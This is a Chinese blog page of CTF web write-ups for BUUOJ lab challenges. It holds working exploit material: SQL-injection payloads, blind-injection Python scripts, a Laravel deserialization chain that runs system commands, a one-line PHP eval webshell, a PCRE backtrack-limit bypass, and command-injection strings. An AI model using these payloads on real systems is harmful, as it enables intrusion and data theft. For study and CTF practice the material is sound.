网鼎杯-2018-Comment

[网鼎杯 2018]Comment

学习了不少知识…………

进入题目是一个留言板,留言需要登录,先不管……发现存在git泄露,上githack:

write_do:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
break;
case 'comment':
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

关键这玩意没啥用啊……学习一波git恢复

gitExtract工具似乎会自动恢复泄露文件……回去试试……

git恢复

https://www.cnblogs.com/iamstudy/articles/wangding_4th_game_web_writeup.html

git reset 使用及回滚

git的工作区和暂存区

git log 详解

image-20210425204527594

提交一个文件的时候是分为git addgit commit两步的
git add的时候,是把文件临时放在临时区stage中
git commit的时候,是把临时区stage的所有内容提交到当前分支
当然这两个在objects目录都会生成一个对象文件,来存储数据。

我们使用 git add 命令将内容写入暂存区。 git commit 命令会将暂存区内容添加到本地仓库中

这里要结合GitHacker使用,githacker似乎在获取泄露文件上能够获取到更详尽的信息。

个人体验:GitHacker要在linux上用,需要python的requests……

这里我们通过:git log查看commit history:

image-20210424151445916

git reset回滚未commit版本前已经commit的网页源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

类似刚做过的CyberPunk,对输入做了转义,然而$category = mysql_fetch_array($result)['category'];却直接抓取了结果,也就是说,存在二次注入。

二次注入

1
2
3
4
5
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);

这里即是关键的注入点,content会取出未转义的单引号进行闭合

关键是如何构造,这是十分关键的

注意:这里的content是commend的content,不是帖子的content

这里的sql语句是多行的,注释需要用多行注释:

令category=’,content=database(),/,在留言中输入\/#:

1
2
3
4
5
$sql = "insert into comment
set category = '',content=database(),/*',
content = '*/#',
bo_id = '$bo_id'";
$result = mysql_query($sql);

这样构造,/**/注释掉跨行',#注释掉后面的单引号,content就会成功被我们劫持,我们在留言后语句就会成功执行完成注入。

但是注库名时发现没有回显,一番尝试……放弃……

load_file读取passwd:

https://www.cnblogs.com/songxingzhu/p/6364700.html

image-20210424155009903

最下面有一个www用户,目录为/home/www,默认shell为bin/bash,由此可以查一下该用户的shell历史:

.bash_history

https://blog.csdn.net/u011479200/article/details/86501366

命令记录.bash_history

查下/home/www/下的命令使用历史:

1
2
3
4
5
6
7
cd /tmp/ 
unzip html.zip
rm -f html.zip
cp -r html /var/www/
cd /var/www/html/
rm -f .DS_Store
service apache2 start

.DS_Store似乎是一种泄露,在网页上线前删掉了,但是/tmp/html中应该是存在的:

读取发现是乱码且显示不完整,用hex()读取:

1
2
Bud1
 strapIl bootstrapIlocblobF(������ comment.phpIlocblob�(��cssIlocblobR(������flag_8946e1ff1ee3e40f.phpIlocblob�(������fontsIlocblobF������� index.phpIlocblob����jsIlocblobR������� login.phpIlocblob�������� mysql.phpIlocblobF������vendorIlocblob������� write_do.phpIlocblobR������  @� @� @� @ E

发现flag_8946e1ff1ee3e40f.php,可以着手读flag了……

我寻思哪个目录下的flag文件应该都一样,结果不一样,必须读/var/www/html/下面的……

category=',content=hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php")),/*

获得flag……

image-20210424160546854

……tql

  

CISCN2019-华北赛区-Day1-Web5-CyberPunk

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

image-20210423174538565

摸索一下,有添加订单,查找订单,删除订单,确认订单,更改订单的功能:

index、confirm、delete、search、change、config

index页面有提示:?file,用php://读取:

index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
echo('no way!');
exit;
}
@include($file);
}
?>
<!--?file=?-->

其他页面都有针对sql的过滤:

1
2
3
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';

我们可以发现,address(地址)没有过滤……

在添加订单功能中(confirm.php):

1
$re->bind_param("sss", $user_name, $address, $phone);

bind_param:

该函数绑定了 SQL 的参数,且告诉数据库参数的值。 “sss” 参数列处理其余参数的数据类型。s 字符告诉数据库该参数为字符串。

参数有以下四种类型:

i - integer(整型)
d - double(双精度浮点型)
s - string(字符串)
b - BLOB(布尔值)

这个函数的使用绑定了参数为字符串,有效防止了sql注入……

change.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>

$address = addslashes($_POST["address"]);对修改值进行了转义操作……

由于报错信息是可以打印出来的,是一个新的知识点:

报错注入

https://blkstone.github.io/2017/11/09/updatexml-sqli/

利用updatexml的中间不合语法的参数报错带出数据

至于二次注入,很多wp都没解释……我猜测一波……

在更新数据时,虽然对修改值进行了转义操作,但不会将\带入数据库,拿出时仍是'

$row = $fetch->fetch_assoc();抓取的是上一次的数据

“‘, `old_address`=’”.$row[‘address’]是上一次的address,这使得 依然起效……

我们先注入报错语句,再在change随便更改下,上次注入语句便开始工作,获得报错内容,带出数据。

构造语句使符合语法进行报错注入:

1
2
3
4
5
6
address=1' where user_id=updatexml(1,concat(0x7e,(select(database())),0x7e),1)#

address=1' where user_id=updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1)#

address=1' where user_id=updatexml(1,concat(0x7e,substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=0x75736572)),20,30),0x7e),1)#

查了一大波东西,似乎没有flag……?

原题目好像告诉了要读根目录的flag.txt……

address=1' where user_id=updatexml(1,concat(0x7e,substr(load_file('/flag.txt'),1,20),0x7e),1)#

image-20210423190458532

address=1' where user_id=updatexml(1,concat(0x7e,substr(load_file('/flag.txt'),20,60),0x7e),1)#

flag{db0fd1ea-0731-4

b94-ad41-e7e6192643eb}

得到了flag……

  

CISCN2019-总决赛-Day2-Web1-Easyweb

[CISCN2019 总决赛 Day2 Web1]Easyweb

进入题目是一个登录界面:

image-20210423105739857

其中每次登录猫猫的图片会发生变化

查看robots.txt有所发现:

User-agent: * Disallow: *.php.bak

说明存在以.php.bak结尾的源码备份……但尝试一下发现不是index,也不是users……难道要爆破……

查看源码发现:

<div class="avtar"><img src="image.php?id=2" width="200" height="200"/></div>

存在image.php……

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

PHP addslashes() 函数

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符是:

  • 单引号(’)
  • 双引号(”)
  • 反斜杠(\)
  • NULL

'会被转义掉,但配合str_replace就可以产生一些奇妙的变化

?id=\0image-20210423115233354

这样就可以传入一个转义符号,类似Hgame2021的jali,转义掉一个',注释掉一个'来注入

?id=\\0&path=or 1=1%23即为:

select * from images where id='\' or path='or 1=1#'=>

=> select * from images where id=’\‘ or path=’or 1=1#’

=> select * from images where id=’xxx’or 1=1#’

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# coding=utf-8
import requests
import time

flag = ""
url1 = "http://3c46950f-801d-4706-8c49-8e6974909d4c.node3.buuoj.cn/image.php?id=\\0&path=or if(ord(substr(database(),{},1))>={},1,0)%23"
# 库名
url2 = "http://3c46950f-801d-4706-8c49-8e6974909d4c.node3.buuoj.cn/image.php?id=\\0&path=or " \
"if(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))>={},1,0)%23"
# 表名
url3 = "http://3c46950f-801d-4706-8c49-8e6974909d4c.node3.buuoj.cn/image.php?id=\\0&path=or " \
"if(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=0x7573657273)),{},1))>={},1,0)%23"
# 列名,因为不能用单引号,使用16进制代替。
url4 = "http://3c46950f-801d-4706-8c49-8e6974909d4c.node3.buuoj.cn/image.php?id=\\0&path=or " \
"if(ord(substr((select(password)from(users)),{},1))>={},1,0)%23"
# 数据
url = url4
# 选择查询语句

for x in range(1, 100):
l = 32
r = 126
while r > l:
mid = int((l + r + 1) / 2)
x = str(x)
y = str(mid)
pay = url.format(x, y)
response = requests.get(url=pay)
if "JFIF" in response.text:
l = mid
else:
r = mid - 1
# time.sleep(0.03)
flag += (chr(int(r)))
print(chr(int(r)))
print(flag)
print(flag)

查询结果:

库:ciscnfinal

表:images:id,path

​ users: username:admin
​ password :e957ea7cd1b7147600b8

找到了admin的账号与密码,登录:

image-20210423120317916

user.php是一个上传点……

上传后会生成提交记录,记录了上传文件名

e.g:/logs/upload.6274dd38c24268134ba3baabf7c82f0d.log.php

image-20210423120733203

上传过滤了php……可以使用短标签:<?=eval($_GET['a'])?>

测试一下:

?a=echo 1;

image-20210423120923447

成功执行了语句,蚁剑连接,在根目录即可找到flag

  

MRctf2021

MRctf2021

ez_larave1

害……只做出来这一道签到题

本来以为和20年一样是自己找pop,硬是找不到菜到放弃了,结果一搜搜到个cve……

先找反序列化利用点:

TaskController.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class TaskController
{
public function index(){
if(isset($_GET['action']) && preg_match('/serialize\/*$/i', $_GET['action'])){
exit(1);
}
if(preg_match('/serialize/i', basename( $_GET['action']))){
if(isset($_GET['ser'])){
$ser = $_GET['ser'];
unserialize($ser);
return ;
}else{
echo "no unserialization";
return ;
}
}
}
}

index方法……

这里学到了,先查询相关框架的路由加载方式,看路由:

https://laravelacademy.org/post/8731.html

web.php:

1
2
3
4
5
Route::get('/', function () {
return view('welcome');
});

Route::get('/hello','TaskController@index');

访问/hello时,会加载TaskController类的index方法,这里就是提交点。

利用方法:cve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;

public function __construct($events="",$event="")
{
$this->events = $events;
$this->event = $event;
}
}
}

namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver = "system";
}
}

namespace Illuminate\Broadcasting{
class BroadcastEvent
{
public $connection = "cat /flag";
}
}

namespace{
$d = new Illuminate\Bus\Dispatcher();
$b = new Illuminate\Broadcasting\BroadcastEvent();
$p = new Illuminate\Broadcasting\PendingBroadcast($d,$b);
echo urlencode(serialize($p));
}

?>

菜到直接拿脚本……匹配那个直接 空格+%0a污染即可绕过。

  

FBCTF2019-RCEService

[FBCTF2019]RCEService

image-20210418101122350

提交json格式的命令?

原本题目是提供了源码的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}

?>

这里就是preg_match的两种绕过方法之一 :PHP利用PCRE回溯次数限制绕过某些安全限制

https://www.freebuf.com/articles/web/190794.html

php采用pcre作为正则表达式库,为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit。我们可以通过var_dump(ini_get('pcre.backtrack_limit'));的方式查看当前环境下的上限.

假设我们的回溯次数超过了 100 万,preg_match返回的非 1 和 0,而是 false。

所以,我们可以利用这个特性使得匹配到的1变为false

在构造的json数据中构造,若匹配不到,会一步一步回溯:

1
2
3
4
5
6
import requests

payload = '{"cmd":"ls","haha":"' + "a"*(1000000) + '"}'

res = requests.post("http://8ccd1800-50a8-437a-b276-5606fc62242c.node3.buuoj.cn/", data={"cmd":payload})
print(res.text)

因为putenv('PATH=/home/rceservice/jail');设置了环境变量,我们需要绝对路径来使用命令

Linux命令的位置:/bin,/usr/bin,默认都是全体用户使用,/sbin,/usr/sbin,默认root用户使用

查proc环境变量查不出来,只能查到cmdline……

pwd:/var/www/html

查一下设置的环境变量发现了flag

cat下即可:/bin/cat /home/rceservice/flag

  

WUSTCTF2020-颜值成绩查询

[WUSTCTF2020]颜值成绩查询

进入题目是一个查询,联想到之前做的题:

image-20210416174013260image-20210416174029609

image-20210416174029609

这里就是一个数值型的注入,奇怪的是,啥都没过滤,直接盲注:

?stunum=if(ord(substr(database(),0,1))>=0,1,0)%23

image-20210416174225317

?stunum=if(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0,1))>=0,1,0)%23

image-20210416174243563

表:

image-20210416174303651

flag在value列中:

image-20210416174324714

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import time

flag = ""
for x in range(1,100):
l = 32
r = 126
while r > l:
mid = int((l + r + 1) / 2)
x = str(x)
y = str(mid)
url = 'http://ae264edd-9cc0-4005-8193-2fe2294f2118.node3.buuoj.cn/?stunum=if(ord(substr((select(value)from(flag)),'+x+',1))>='+y+',1,0)#'
response = requests.get(url=url)
if "admin" in response.text:
l = mid
else:
r = mid - 1
time.sleep(0.03)
flag += (chr(int(r)))
print(chr(int(r)))
print(flag)
print(flag)

(最近没怎么做sql注入的题,手有点生……

  

EasyBypass

EasyBypass

buu新上题,想必不久之后就会成一分题了……

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

highlight_file(__FILE__);

$comm1 = $_GET['comm1'];
$comm2 = $_GET['comm2'];


if(preg_match("/\'|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $comm1))
$comm1 = "";
if(preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||ls|\||tail|more|cat|string|bin|less||tac|sh|flag|find|grep|echo|w/is", $comm2))
$comm2 = "";

$flag = "#flag in /flag";

$comm1 = '"' . $comm1 . '"';
$comm2 = '"' . $comm2 . '"';

$cmd = "file $comm1 $comm2";
system($cmd);
?>

过滤绕过rce

一番尝试发现,comm2的过滤比comm1严格的多,那就只用comm1,闭合后面的引号即可执行命令

读取flag的时候发现flag也有过滤,然而f\lag就行了……

/?comm1=-f" "/etc/hosts

image-20210415182443139

?comm1=-f" /fla\g;od /fla\g;"

image-20210415182547134

od倒是可以用……

拼接亦可:?comm1=-f" ;a=ca;b=t;c=g;$a$b /fla$c;"

image-20210415182901338

方法挺多……

  

极客大挑战-2019-RCE-ME

[极客大挑战 2019]RCE ME

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>

这个题目算是熟悉了吧,常用的取反操作,php写了个取反页面:

image-20210415145937889

结合之前的经验,这次我想试试scandir函数,熟悉熟悉:

(%8F%8D%96%91%8B%A0%8D)((%8C%9C%9E%91%9B%96%8D)(“.”));

即(print_r)((scandir)(“.”))注意括号的包裹,这是解释取反的关键

image-20210415150328993

cat flag倒也是一个问题……

(%8C%97%90%88%A0%8C%90%8A%8D%9C%9A)(%D1%D1%D0%D1%D1%D0%D1%D1%D0%99%93%9E%98)();

用show_source读取文件,一直读不出来……本地是可以的……ant:

1
2
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%CD%CC%A2%D6%D6);
//(asert)((eval($_POST[123])))
image-20210415154109978

本来就是空文件……然后有一个readflag,不知道是干啥的……

学一手wp……学到了一些操作

assert(next(getallheaders()))

next() 函数将内部指针指向数组中的下一个元素,并输出。

getallheaders — 获取全部 HTTP 请求头信息,作为一个数组储存。

image-20210415160349677

这里就可以借助head头信息去rce,本来我想尝试用phpsessid的,但没成功……

然后是一个劫持共享so……啊,看不懂,看懂这个我需要学啥,啊吧啊吧……

蚁剑有一个绕过disable_functions的插件,有PHP7的UAF…………我爬去学了。

  

hacker101.0

hacker101.0

https://www.bilibili.com/video/av75418689/

1.本视频一开始介绍了哪两个工具,他们的作用分别是什么?为什么作者会推荐firefox,它的优点是什么?(5分)

Bure Proxy & Firefox

Bure Proxy可以对HTTP和HTTPS的流量包进行监控和修改,是业内流行工具。

Firefox在做请求处理时,可以通过它轻松实现浏览器的代理设置,而无需对系统做其他的设置。设置后,它捕获的即是我们所关心的web应用流量而非系统的其他流量。Firefox还包括了一些开发调试的工具,可以方便的查看修改cookie信息,检查DOM……这就是为什么作者推荐Firefox。当然,也可以用Chrome和Burp一起配合工作。

2.本视频中体现了哪些攻防上的哲学观点?作者希望你养成什么样的思维?这些思维在帮助你挖掘漏洞的时候有什么帮助?结合你的经历与视频内容谈谈你的看法。(10分)

我们应当站在attacker的角度来思考问题,而不是defender。应该了解攻击者对攻击目标的攻击套路和攻击思维。对一些测试的应用程序来说,了解他的最好方法是大胆点击它的每个功能按钮来加深对他的功能认识并发现它的功能弱点。

作者还强调,攻防双方在安全职责任务上存在一种不平衡。通常对于防护者来说,必须去发现系统中所有存在的漏洞;对于攻击者,只需发现少量或一个漏洞即可。攻击者比防护者明显更具优势。实战可能方法很简单,但是不可能发现的了所有漏洞。精力是有限的,我们必须有轻重缓急之分,尤其要学会识别一些高风险漏洞问题,最大化降低攻击影响或一些可能的情况。换位思考评估攻击者最想获得什么东西,这是重要的安全技能培养方法。

对每个功能点进行熟悉并为之可能产生的漏洞分类与评级,考虑不同功能点的综合利用,这有助于理清逻辑并尽可能先发现更加危险的漏洞。

3.审计以下代码:

1
2
3
4
5
6
7
8
<?php
if(isset($_GET[ ' name ' ])){
echo "<h1>Hello {$_GET['name']} !</h1>";
}
?>
<form method="GET">
Enter your name: <input type="input" name="name"><br>
<input type=" submit">

本段代码涉及到客户端,服务端以及通信协议。运行在客户端的代码主要有HTML以及javascript,由浏览器核心负责解释 通信协议为HTTP协议,有多种格式的请求包,常见的为POST与GET 运行在服务端的代码为php,由php核心负责解释。 用户端与服务端通过HTTP通信协议进行交互。

  • 那么,以上代码中,哪些部分属于客户端的内容,哪些属于服务端的内容?(1分)

  • 客户端是通过传递什么参数来控制服务端代码的?(1分)

  • 客户端通过控制该参数会对服务端造成什么影响,继而使得客户端本身收到影响,从而造成了什么漏洞?如果是xss漏洞,具体又是什么类型的xss漏洞,为什么?(3分)

https://blog.csdn.net/wang404838334/article/details/78449149

服务器web:我们把提供(响应)服务的计算机称作服务器(Server),也叫服务器端。

客户端web:接受(请求)服务的计算机称作客户机(Client),也叫客户端。

①当用户在浏览器地址中输入要访问的PHP页面文件名,然后回车就会触发这个PHP请求,并将请求传送化支持PHP的WEB服务器。 ②WEB服务器接受这个请求,并根据其后缀进行判断如果是一个PHP请求,WEB服务器从硬盘或内存中取出用户要访问的PHP应用程序,并将其发送给PHP引擎程序。 ③PHP引擎程序将会对WEB服务器传送过来的文件从头到尾进行扫描并根据命令从后台读取,处理数据,并动态地生成相应的HTML页面。 ④PHP引擎将生成HTML页面返回给WEB服务器(apache)。WEB服务器再将HTML页面返回给客户端浏览器,最后一个完整的页面基于通过浏览器展现在我们眼前。 这里内嵌的php语句应当是服务端的内容,而html的渲染是属于客户端浏览器上渲染的。 客户端在html显示的表单通过get提交了一个name参数,服务端识别这个以get方法提交的参数,在echo "<h1>Hello {$_GET['name']} !</h1>";中hello后的值被控制。

​ 这段参数没有进行任何的过滤,使得hello后的html字段可以由客户端任意控制,形成xss漏洞。由于内容只与用户提交的参数有关,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),故为反射型xss漏洞。

4.思考:现实中如何利用xss漏洞实施攻击,我们应该如何预防?(1分)

现实中实施攻击……关键在于参数的隐藏,可以进行url编码;如果还是可疑,可以利用网页上的网址缩短工具或绑定到一个看起来正常的网址……大概?攻击的投放可以通过邮件、广告、借助评论或图片上传链接、钓鱼网站……(都没实战过

预防……可以通过严格的过滤和应用CSP来阻止xss的产生,HttpOnly好像可以防止cookie窃取……

  

WUSTCTF2020-朴实无华

[WUSTCTF2020]朴实无华

这个题的各种编码还是挺烦人的……

image-20210412000152394

robots.php里有:/fAke_f1agggg.php,结果确实fake……

抓包发现:

image-20210412000414721

访问:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>

bypass

第一点的intval的绕过好像也和版本有关,新版本似乎是支持科学计数法的(有一次疯狂思考绕过……

这里传入2e4即可绕过

level2:$md5==md5($md5)弱比较,其实也就是0e开头的md5值md5后仍是0e开头+数字的字符串

写了一个垃圾脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from hashlib import md5
import re

for a in '1234567890':
for b in '1234567890':
for c in '1234567890':
for d in '1234567890':
for e in '1234567890':
for f in '1234567890':
for g in '1234567890':
for h in '1234567890':
for i in '1234567890':
j=f"0e{a}{b}{c}{d}{e}{f}{g}{h}{i}"
p=md5(j.encode('utf8')).hexdigest()
if p[0:2]=='0e':
pp = p[2:32]
if re.match("\d{30,30}",pp):
print(j)
print(p)
break

超级暴力循环……

最后找到三对:

0e215962017
0e291242476940776845150308577824
0e730083352
0e870635875304277170259950255928
0e807097110
0e318093639164485566453180786895

level3:

干掉了空格和cat,但读取的方法有很多,空格也有绕过方法:

这里解释一下${IFS},$IFS,$IFS$9的区别,首先$IFS在linux下表示分隔符,然而我本地实验却会发生这种情况,这里解释一下,单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串

这里大于号或小于号也是可以绕过的……

读取就很容易了

getflag!

……

  

:D 一言句子获取中...